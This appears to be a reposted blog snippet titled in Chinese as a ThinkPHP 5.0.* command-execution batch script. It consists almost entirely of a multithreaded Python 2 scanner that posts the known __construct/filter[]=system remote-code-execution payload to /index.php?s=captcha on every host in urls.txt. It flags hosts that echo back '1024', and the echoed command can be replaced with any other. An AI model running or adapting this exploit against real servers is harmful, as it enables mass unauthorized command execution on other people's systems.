thinkphp5.0.*命令执行批量脚本

import requests
import Queue
import threading
import time

user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"

threads = 400

data={
'_method':'__construct',
'filter[]':'system',
'method':'get',
'server[REQUEST_METHOD]':'echo 1024'
}

def check_tp():
while not webs.empty():
url = webs.get()
url1=url+"/index.php?s=captcha"
headers = {}
headers["User-Agent"] = user_agent
try:
r = requests.post(url1,headers=headers,data=data,verify=False)

                    if "1024" in r.content:
                            print url1
            except:
                    pass

webs = Queue.Queue()

with open("urls.txt","r") as f:
for i in f.readlines():
if 'http' not in i:
u = "http://"+str(i[:-1])
webs.put(u)
else:
u=i[:-1]
webs.put(u)

for i in range(threads):
t = threading.Thread(target=check_tp)
t.start()

原文地址:https://www.cnblogs.com/nul1/p/10337277.html